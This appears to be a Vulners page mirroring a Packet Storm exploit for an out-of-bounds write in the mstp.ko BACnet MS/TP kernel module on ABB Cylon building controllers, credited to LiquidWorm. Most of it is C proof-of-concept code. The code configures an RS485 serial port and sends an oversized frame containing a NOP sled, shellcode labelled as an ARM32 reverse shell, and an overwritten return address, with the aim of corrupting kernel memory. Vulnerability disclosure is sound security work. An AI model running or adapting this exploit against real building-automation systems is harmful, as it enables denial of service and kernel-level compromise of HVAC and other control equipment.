Lucene search
K

πŸ“„ ABB Cylon BACnet MS/TP Kernel Module mstp.ko Out-Of-Bounds Write

πŸ—“οΈΒ 23 May 2025Β 00:00:00Reported byΒ LiquidWormTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 80Β Views

Buffer overflow in kernel mstp.ko handling BACnet frames may allow local denial of service.

Code
/*
    
    ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb
    Affected version: <=3.08.03
    
    Summary: ASPECT is an award-winning scalable building energy management
    and control solution designed to allow users seamless access to their
    building data through standard building protocols including smart devices.
    
    BACnet Smart Building Controllers. ABB's BACnet portfolio features
    a series of BACnet IP and BACnet MS/TP field controllers for ASPECT
    and INTEGRA building management solutions. ABB BACnet controllers
    are designed for intelligent control of HVAC equipment such as central
    plant, boilers, chillers, cooling towers, heat pump systems, air
    handling units (constant volume, variable air volume, and multi-zone),
    rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver
    unprecedented connectivity and open integration for your building
    automation systems. It's scalable, and modular, allowing you to
    control a diverse range of HVAC functions.
    
    Committee: BACnet.org
    
    InFaq:
    A BACnet router is a device that passes a message from one network
    to another without changing the form or content of the message. This
    kind of device is used to interconnect BACnet networks that have
    different media (Ethernet, MS/TP over twisted pair, etc.). It is a
    simple device that just routes BACnet messages where they need to go,
    without decoding or altering them. A BACnet gateway is a more complex
    device that is used to interconnect a BACnet network with a non-BACnet
    network (such as Modbus or KNX). A gateway must decode messages on each
    network and reformat or translate the information to meet the requirements
    of the other network to route messages where they need to go. Gateways
    generally require more configuration, commissioning and maintenance
    effort than a router, as well as being more costly.
    
    License: GPL
    Author: Muiz M. Haider
    Description: BACnet MS/TP Serial Line Discipline
    :: Master-Slave / Token Passing ::
    
    Desc: A buffer overflow vulnerability exists in the mstp.ko kernel
    module, responsible for processing BACnet MS/TP frames over
    serial (RS485). The SendFrame() function writes directly into
    a statically sized kernel buffer (alloc_entry(0x1f5)) without
    validating the length of attacker-controlled data (param_5).
    If an MS/TP frame contains a crafted payload exceeding 492 bytes,
    the function performs out-of-bounds writes beyond the allocated
    501-byte buffer, corrupting kernel memory. This flaw allows local
    or physically connected attackers to trigger denial-of-service
    or achieve remote code execution in kernel space. Tested against
    version 3.08.03 with a custom BACnet frame over /dev/ttyS0.
    
    mstp.KOrruption: Kernel Frame Overflow in BACnet MS/TP Module
    (MSTP frame mishandling causes memory corruption in embedded RS485 stack)
    
    Tested on: GNU/Linux Kernel 5.4.27
               GNU/Linux Kernel 4.15.13
               GNU/Linux 3.15.10 (armv7l)
               GNU/Linux 3.10.0 (x86_64)
               GNU/Linux 2.6.32 (x86_64)
               Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
               Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5953
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5953.php
    
    
    21.04.2024
    
    */
    
    
    #include <linux/serial.h>
    #include <termios.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdint.h>
    #include <fcntl.h>
    #include <stdio.h>
    
    #define DEVICE "/dev/ttyS0"     //enum
    #define BAUD_RATE B9600         //modify if needed
    #define BUFFER_SIZE 510         //>501 triggers overflow
    #define PAYLOAD_SIZE 492        //vulnerable write starts after 8-byte offset
    #define SHELLCODE_SIZE 30       //size of ARM32 reverse shell
    
    //BACnet MSTP frame used by kernel
    struct mstp_frame {
        unsigned char preamble[2];        //0x55 0xFF
        unsigned char frame_type;         //0x00
        unsigned char dest_addr;          //0x01 (arbitrary)
        unsigned char src_addr;           //0x02 (arbitrary)
        unsigned char length[2];          //2-byte length field
        unsigned char header_crc;         //dummy for PoC
        unsigned char data[PAYLOAD_SIZE];
        unsigned char data_crc[2];        //dummy CRC
    };
    
    void banner() {
    	printf("\n");
        printf("                 P   R   O   J   E   C   T\n\n");
        printf("                        .|\n");
        printf("                        | |\n");
        printf("                        |'|            ._____\n");
        printf("                ___    |  |            |.   |' .---\"|\n");
        printf("        _    .-'   '-. |  |     .--'|  ||   | _|    |\n");
        printf("     .-'|  _.|  |    ||   '-__  |   |  |    ||      |\n");
        printf("     |' | |.    |    ||       | |   |  |    ||      |\n");
        printf(" ____|  '-'     '    \"\"       '-'   '-.'    '`      |____\n");
        printf("β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘  \n");
        printf("β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \n");
        printf("         β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ \n");
        printf("         β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘\n");
        printf("         β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘ \n");
        printf("         β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–’β–“β–ˆβ–ˆβ–ˆβ–“β–’β–‘\n");
        printf("         β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘\n");
        printf("         β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘\n");
        printf("         β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘\n");
        printf("\n");
    }
    
    void configure_serial(int fd) {
        struct termios tty;
        struct serial_rs485 rs485conf;
    
        tcgetattr(fd, &tty);
        cfsetospeed(&tty, BAUD_RATE);
        cfsetispeed(&tty, BAUD_RATE);
    
        tty.c_cflag = (tty.c_cflag & ~CSIZE) | CS8 | CLOCAL | CREAD;
        tty.c_cflag &= ~(PARENB | CSTOPB | CRTSCTS);
        tty.c_iflag &= ~(IXON | IXOFF | IXANY);
        tty.c_lflag = 0;
        tty.c_oflag = 0;
        tty.c_cc[VMIN] = 1;
        tty.c_cc[VTIME] = 0;
    
        tcsetattr(fd, TCSANOW, &tty);
    
        ioctl(fd, TIOCGRS485, &rs485conf);
        rs485conf.flags |= SER_RS485_ENABLED;
        rs485conf.flags &= ~(SER_RS485_RTS_ON_SEND);
        rs485conf.flags |= SER_RS485_RTS_AFTER_SEND;
        ioctl(fd, TIOCSRS485, &rs485conf);
    }
    
    //ARM32 reverse shell to /bin/sh (port-agnostic demo shell)
    unsigned char shellcode[SHELLCODE_SIZE] = {
        0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1,
        0x78, 0x46, 0x0c, 0x30, 0x01, 0x90, 0x01, 0xa9,
        0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,
        0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };
    
    void craft_frame(struct mstp_frame *frame) {
        frame->preamble[0] = 0x55;
        frame->preamble[1] = 0xFF;
        frame->frame_type = 0x00;
        frame->dest_addr = 0x01;
        frame->src_addr = 0x02;
    
        //492-byte payload triggers write at param_1[0x16] + 8 + i
        frame->length[0] = (PAYLOAD_SIZE >> 8) & 0xFF;
        frame->length[1] = PAYLOAD_SIZE & 0xFF;
    
        frame->header_crc = 0xFF; //mock crc
    
        memset(frame->data, 0x90, PAYLOAD_SIZE); //nop sankata
        memcpy(frame->data + PAYLOAD_SIZE - SHELLCODE_SIZE - 4, shellcode, SHELLCODE_SIZE);
    
        //Overwrite dummy ret addr or kernel jump table entry (mock addr)
        *(uint32_t *)(frame->data + PAYLOAD_SIZE - 4) = 0xdeadbeef;
    
        frame->data_crc[0] = 0xFF;
        frame->data_crc[1] = 0xFF;
    }
    
    int main() {
    	banner();
        int fd = open(DEVICE, O_RDWR);
        if (fd < 0) {
            perror("Failed to open serial device");
            return 1;
        }
    
        configure_serial(fd);
    
        struct mstp_frame frame;
        craft_frame(&frame);
    
        size_t frame_size = sizeof(frame);
        ssize_t bytes_written = write(fd, &frame, frame_size);
        if (bytes_written < 0) {
            perror("Failed to write frame");
        } else {
            printf("[+] Wrote %zd bytes. Buffer overflow attempt sent.\n", bytes_written);
        }
    
        close(fd);
        return 0;
    }

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 May 2025 00:00Current
8.2High risk
Vulners AI Score8.2
80